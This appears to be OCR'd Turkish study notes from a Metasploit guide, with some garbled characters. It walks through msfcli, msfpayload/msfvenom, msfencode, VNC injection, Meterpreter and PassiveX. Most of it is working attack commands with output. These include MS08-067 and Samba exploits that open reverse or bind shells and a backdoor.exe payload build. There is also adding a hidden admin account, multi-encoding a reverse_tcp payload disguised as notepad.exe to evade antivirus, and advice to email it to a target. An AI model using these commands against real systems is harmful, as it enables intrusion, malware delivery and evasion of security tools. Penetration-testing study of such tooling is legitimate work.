Metasploit [Detailed]

Msfcli Boliimii

1)

Msfcli Nedir?

Msfcli unix ve windows sistemlerde komut satirindan aldig1 parametrelere goére calisan,
msfconsole'un yapabildiklerini pratik sekilde yapan bir tool'dur. Yani msfcli msfconsole'un pratik
hale doniistiiriilmiis halidir. Mesela tek satirda hedef sistem exploit edilebilmektedir. Syntax'i su
sekildedir:

> ./msfcli <exploitadi> <option=value> [mode]

Syntax'daki option ifadesi msfconsole'daki secilen exploit'lerin set edilecek degiskenlerinin geldigi
yeri ifade eder. Mesela <option=value> yerine LHOST=192.168.2.133 falan diyerek tek satirda
birden fazla option girebilmekteyiz ve esittir ile bir deger set edebilmekteyiz. Syntax'daki mode
ifadesi ise msfconsole'da kullandigimiz bilgi edinmeyle alakali kodlarin kullanildig1 yerdir. Mesela
(O)ptions modu msfconsle'daki show options'a karsilik gelir. Yani belirtilen exploit'in set edilecek
degiskenlerini ekrana basar. Bu bahsedilenleri toparlayacak olursak asagidaki 6rnek verilebilir:

> ./msfcli exploit/windows/smb/ms08_067_netapi RHOST=192.168.2.2 RPORT=445 O

Output:
[*] Please wait while we load the module tree...
Name Current Setting Required Description
RHOST 192.168.2.2 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use.
(Page 179)
2)
Msfcli Modlar1
Mode Yapug Is
(H)elp Yardim mendisiiniin goriintiilenmesini saglar.
(S)ummary Belirtilen exploit hakkinda detayli bilgi verir (Msfconsole'daki info'dur).
(O)ptions Belirtilen exploit'in set edilecek degiskenlerini sunar. (Msf'deki show options)
(A)dvanced Berlitilen exploit icin ilgili tiim degiskenleri sunar. (Msf'deki show advanced)
(DDS Evasion IDS'lere yakalanmamak igin ayarlanabilecek degiskenleri sunar.
(P)ayloads Belirtilen exploit'le uyumlu tiim payload'lar1 sunar.
(T)argets Berlitilen exploit'in ise yaradig isletim sistemlerini sunar.

(AC)tions Berlirtilen exploit ile kullanilabilecek auxiliary'leri sunar.



(C)heck Belirtilen exploit'in hedef sistemde ise yarayip yaramayacagini tespit eder.
(E)xecute Belirtilen exploit'i calistirir.
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3)

Asagidaki kod linux.bga.com.tr adresine samba exploit'ini uygular ve shell_reverse payoad'unu
yiikleyip 192.168.2.133 adresine (yani bize) hedef sistemin komut satirin1 getirir.

> msfcli exploit/multi/samba/usermap_script PAYLOAD=generic/shell_reverse_tcp

LHOST=192.168.2.133
RHOST=linux.bga.com.tr RPORT=139 E
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4)
Windows XP (Dandik)'e msfcli ile Sizma

> msfcli exploit/windows/smb/ms08_067_netapi
PAYLOAD=windows/meterpreter/bind_tcp RHOST=192.168.2.206 E

Output:
[*] Please wait while we load the module tree...

[*] Started bind handler

[*] Automatically detectin the target...

[*] Fingerprint : Windows XP — Service Pack 2 — lang: Turkish

[*] Selected Target: Windows XP SP2 Turkish (NX)

[*] Attemption to trigger the vulnerability...

[*] Sending stage (761104 bytes) to 192.168.2.206

[*] Meterpreter session 1 opened (192.168.2.188:54056 -> 192.168.2.206:4444)

meterpreter > ...
Goriildiigii tizere meterpreter komut satirina gelmistir.

(Bu son &rnek birebir denenmistir ve tipki yukaridaki gibi basariyla uygulanmistir)



Msfpayload Béliimii

iy

Msfpayload Nedir?

Msfpayload metasploit'te var olan payload'lar1 derlemek i¢in kullanilan Metasploit'e ait bir tool'dur.
Exploit gelistiricileri exploit yazarken payload'lara da ihtiya¢ duyarlar ve msfpayload iste bu
ihtiyac1 karsilayan exploit gelistiricileri i¢in bulunmaz bir nimettir. Msfpayload tool'u ile belirlenen
payload'un ¢iktis1 C, Perl, Ruby, Raw, Javascript, VBA ve exe gibi formatlara
dontistiiriilebilinmektedir.

NOT: msfpayload artik deprecated olmustur. Bunun yerine artik yola msfvenom ile devam
edilmektedir. Msfvenom msfpayload'un devamidir. Yani ikisi de payload derlemede
kullanilmaktadir.

Msfpayload Syntax'i:

msfpayload <options> <payload> [var=val] < [S]umarry | C | [P]er]l | Rub[y] ... [W]ar >

Msfvenom Syntax':

msfvenom <options> [var=val] //<payload> ve <[S]Jummary...> 'ler options igine alinmisgtir.

2)
i) Msfpayload ve msfvenom'da kullanilabilir payload'lar listelemek icin -1 parametresi kullanilir..
> msfpayload -1
ya da
> msfvenom -1
ii) Belirtilen payload'un set edilebilecek degiskenlerini goriintiilemek igin 'o' parametresi kullanilir.
> msfpayload windows/shell_bind_tcp O
ya da

> msfvenom -p windows/shell_bind_tcp -o

Output:
Name Current Setting Required Description
EXITFUNC process yes Exit technique: she, thread, ...
LPORT 4444 yes The listen port

RHOST no



iii) Belirtilen payload'un seceneklerini set etmek igin ekstra bir parametre kullamlmamaktadir. Orn;
> msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 O
ya da

> msfvenom -p windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 -0

Output:
Name Current Setting Required Description
EXITFUNC seh yes Exit technique: she, thread, ...
LPORT 1234 yes The listen port
RHOST no

iv) Belirtilen payload'un farkli formatlarda shellcode ciktisin1 almak igin ¢ikti formati belirtilir.
Ornegin asagidaki kodlar payload'un C kodu olarak ¢iktisim alirlar;

> msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 C
ya da

> msfvenom windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 -f c

NOT: msfpayload'da desteklenen ¢ikt1 formatlar: sunlardir:
> msfpayload -h

Output:
msfpayload [<options>] <payload> [var=val] <[S]ummary | C | Cs[H]arp |
[Plerl | Rub[Y] | [R]aw | [J]s | e[X]e | [D]ll | [VIBA | [W]ar | Pytho[N]

msfvenom'da desteklenen ¢ikti formatlar1 sunlardir:
> msfvenom --help-formats

Output:
Executable formats
exe, dll, ...
Transform formats
raw, ruby, rb, perl, pl, bash, sh, ¢, charp, js_be, js_le, java, phyton, py



v) Payload'u exe olarak derlemek icin, yani payload'u calistirilabilir exe dosyasi haline déniistiirmek

icin belirtilmesi gereken ¢ikti formati msfpayload'da X, msfvenom'da exe'dir. Orn;

> msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 X > backdoor.exe

ya da
> msfvenom -p windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 -f exe >
backdoor.exe

NOT: msfpayload'daki X arglimani eXe'nin X'idir.

> msfpayload -h

Output:

msfpayload [<options>] <payload> [var=val] <[S]Jummary | C | Cs[Harp |
[Plerl | Rub[Y] | [R]aw | [J]s | e[X]e | [D]Il | [VIBA | [W]ar | Pytho[N] >

Metasploit'te bulunan payload'lar1 bu sekilde calistirilabilir hale getirdikten sonra hedef sisteme
ornegin email eklentisi yoluyla gondererek hedef sistemi ele gecirebiliriz.
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VNC DLL Inject Boliimii

1)
Hedef exploit edildikten sonra vnc dll hedefe upload edilir. Bu dlI'nin tetiklenmesi sonrasi hedefin
ekrani masaiistiimtize tasinir ve sanki hedef bilgisayarin bagindaymisiz gibi o bilgisayar1 kontrol

edebiliriz.
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2)
Diyelim ki VNC DLL'yi hedef sisteme enjekte ettik.

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/vncinject/reverse_tcp

msf exploit(ms08_067_netapi) > set LHOST 192.168.2.188 // Kali
msf exploit(ms08_067_netapi) > set LPORT 443

msf exploit(ms08_067_netapi) > set RHOST 192.168.2.206 // WinXP
msf exploit(ms08_067_netapi) > set VNCHOST 192.168.2.188 // Kali

msf exploit(ms08_067_netapi) > exploit

Fakat masaiistiimiize gelen ekranda oturumun kilitli oldugunu fark ettik. Bu durumda oturumu
kilitli bu sisteme giris i¢in oturum ekranina gelecek olan mavi konsola asagidakiler girilebilir:

> net user kullaniciAdi sifre /add
> net localgroup administrators kullaniciAdi /add

Girecegimiz kullanic1 ad1 ve sifre ile hedef sistemde yeni bir hesap agmis oluruz. Boylelikle yeni
hesap bilgilerini kullanarak hedef sistemde VINC goriintiisii tizerinden oturum agabiliriz.

TightVNC: VNCShell [SYSTEM@DH16] - Full Access

e v
/7 Windows Server2003
¥ Enterprise Edition

&= Press Ctril-alt-Delete to heoi

Requiring this key combination st
computer secure. For more i




Meterpreter Boliimii

1)
Meterpreter Meta-Interpreter'in kisaltilmisidir.

(Page 194)

2)

Meterpreter hedef makinada RAM'de ¢alistigindan dolay: bilgisayarda iz birakmaz ve adli delil
toplamada saldiriya dair iz bulunmasi zorlasir.

(Page 195)

PassiveX Boliimii

1)

Metasploit Framework'te bulunan {ist diizey payload'lardan bir digeri PassiveX'tir. Hedef sistem bir
Firewall arkasindaysa ve firewall http protokoliinii bloklamayip NAT yapiyorsa hedefe yonelik
baglant1 girisimi basarisiz olacaktir. Bu durumda PassiveX payload'u kullanilarak http protokolii
izerinden ters baglant1 yapilarak firewall asilir ve hedef ile oturum kurulur. Bu siire¢ sdyle igler:

- PassiveX payload'u ile hedefin registry kaydi degistirilir ve Internet Explorer baglatilir.
- Istenen dll (mesela VNC dll'si) ActiveX objesi olarak kurban tarafindan yiiklenir.

Boylelikle hedefe sizilmig olunur.
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2)
Metasploit Framework'te bulunan PassiveX payload'lar1 sunlardir:

windows/exec/reverse_http
windows/shell/reverse_http
windows/meterpreter/reverse_http
windows/upexec/reverse_http
windows/vncinject/reverse_http

Isimlerinden de anlasilabilecegi gibi bu payload'larin hepsi ters http baglantis1 kurmaya
yaramaktadir.

(Page 213)



Msfencode Boliimii

1)

Msfencode Nedir?
Payload'larin igerigini degistirerek IDS/IPS'leri, firewall'lar1 ve antivirus'leri atlatmaya yarayan bir

kodlayici tool'dur. Metasploit framework'te 27'den fazla encoder bulunmaktadir. Syntax' su
sekildedir:

msfencode <options>

(Page 214)

2)

# Msfencode parametrelerini ve agiklamalarini ekrana basar.
> msfencode -h

# Yiikli encoder'lan listeler.
> msfencode -1

# Msfpayload'ta olusturulan Raw formatindaki payload ¢iktisini pipe ile msfencoder'a aktarir ve

# x86/shikata_ga_nai kodlayicisi ile aldig1 payload'u kodlar.

> msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.2 LPORT=4443 R |
msfencode -e x86/shikata_ga_nai -t exe -o /var/www/payload.exe

-e : Kullanilacak encoder" belirtir.
-t : Cikt1 formatini belirtir.
-0 : Cikti1 dosyasinin ismini belirtir.

# Bir payload birden fazla kodlayici ile iist {iste kodlanabilir.
> msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.2 LPORT=4443 R |
msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/alpha_upper -c 2 -t raw |
msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/countdown -c 5 -t exe -0
payload.exe

-c : Aym1 kodlamanin kag kez tekrarlanacagi sayisini belirtir (Iterasyon sayisidir).

(Page 214-218)



3)

Antivirus Yazihmlarini Encoder Ile Atlatma

Asagidaki kodun ilk kismi1 payload'un Raw halini iiretir. Ardindan bu ¢ikt1 pipeline ile msfencode'a
aktarilir. Msfencode aldig1 payload'u exe yapar ve iizerine notepad giysisini giydirir. Boylelikle
imza tabanli ¢aligan antivirus yazilimlari tarafindan zararsiz bir notepad uygulamasi olarak goriiniir.

> msfpayload windows/meterpreter/reverse_tcp LHOST=6.6.6.112 LPORT=2222 R | msfencode -t
exe -x notepad.exe -k -0 notepadplus.exe -e x86/shikata_ga_nai -c 5

-t : Cikt1 formatini belirtir.

-x <opt> : Kodlama ¢iktisini belirli bir template'e sokar ve payload'u kamufle eder.

-k : Orijinal template (e.g. notepad.exe) korunsun isteniyorsa bu durumda -k kullanilir.
-0 : Cikt1 dosyasinin ismini belirtir.

-e : Kullanilacak encoder" belirtir.

o e g g e
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Luke Filewalker

Avira AntiVir Personal - Free Antivirus

W Avira AntiVir Personal

Luke Filewalker

e
Statistics
Status: The scan has finished )
Last object: Paths: 0 Waring 0
C:AUsers\pentester\Desktophnotepadplus.exe Scanned: 1 Suspicious: 0
Archives: 0 Repaired: 0
Detections: 0 Wiped: 0
A : 100 Objects searched. 0 Deleted: 0
Last detection: Mo virus detected. Hidden obiects: 0 Moved 0
Scanned files: 1 Dete
Scanned directanies: 0 Susp
Scanned archives: 0 Warr
Used time: 0000 Obje
S 100% | | Hidd
] [ _ Close ] [ Report ]

Goriildiigii tizere antivirus yazilimi Avira hazirladigimiz exe dosyasini zararsiz sandi. Ciinkii
hazirladigimiz exe'de Notepad.exe dosyasinin imzasini taklit ettik. Hazirladigimiz exe'nin
ozellikleri sistem tarafindan su sekilde goriintir:
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Msfrpcd Boliimii

1)

Msfrpcd, yani Msf Remote Procedure Call Daemon belirtilen ip adresini ve portunu dinleyerek
gelen baglantilan kabul eden, ardindan kendisine baglananlara Metasploit Framework'ii ortaklasa
kullandirtan bir msfconsole yan tool'udur. Msfrpcd secenekleri su sekildedir:
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